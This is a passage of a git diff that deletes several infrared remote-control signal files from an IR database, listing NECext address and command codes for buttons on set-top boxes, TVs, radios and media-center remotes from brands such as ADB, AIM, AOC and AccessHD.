a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir deleted file mode 100644 index d935ff083..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TEST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir deleted file mode 100644 index 2056e6f80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: X_KEY_OPTIONS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir deleted file mode 100644 index ad03ecfdc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 09 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 0F 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 20 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 21 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 22 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 23 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 24 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 25 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 26 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 28 00 00 00 -# -name: YELLOW_BUTTON -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 30 00 00 00 -# -name: BLUE_BUTTON -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 31 00 00 00 -# -name: APP -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 32 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 33 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 34 00 00 00 -# -name: FAV+ -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 35 00 00 00 -# -name: TELETEXT -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 36 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 40 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 41 00 00 00 -# -name: RED_BUTTON -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 42 00 00 00 -# -name: GREEN_BUTTON -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 43 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 44 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 45 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 50 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 51 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 52 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 53 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 2A 11 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir deleted file mode 100644 index bf25e0b11..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Jump -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: T/S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir deleted file mode 100644 index 722a805fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: X_KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: X_KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: X_KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 40 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 46 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 50 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 52 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 53 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 54 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 55 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 56 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 57 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 59 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5C 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir deleted file mode 100644 index 63a76b299..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: KEY_KEYBOARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir deleted file mode 100644 index 74a4a6dad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 01 00 00 00 -# -name: Preset_Repeat -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 02 00 00 00 -# -name: Snooze -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 04 00 00 00 -# -name: Stop_Band -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 09 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 0A 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 0B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 11 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 13 00 00 00 -# -name: X-Bass -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 19 00 00 00 -# -name: Mem -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 1A 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 1F 00 00 00 -# -name: Function -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir deleted file mode 100644 index a70595f0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir deleted file mode 100644 index ec244fe82..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 04 00 00 00 -# -name: TVVIDEO -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 05 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 10 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 13 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 14 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 15 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 16 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 17 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 41 00 00 00 -# -name: PRECH -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 44 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 45 00 00 00 -# -name: PLUSMINUS -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir deleted file mode 100644 index 3112b99dd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 06 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 08 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: 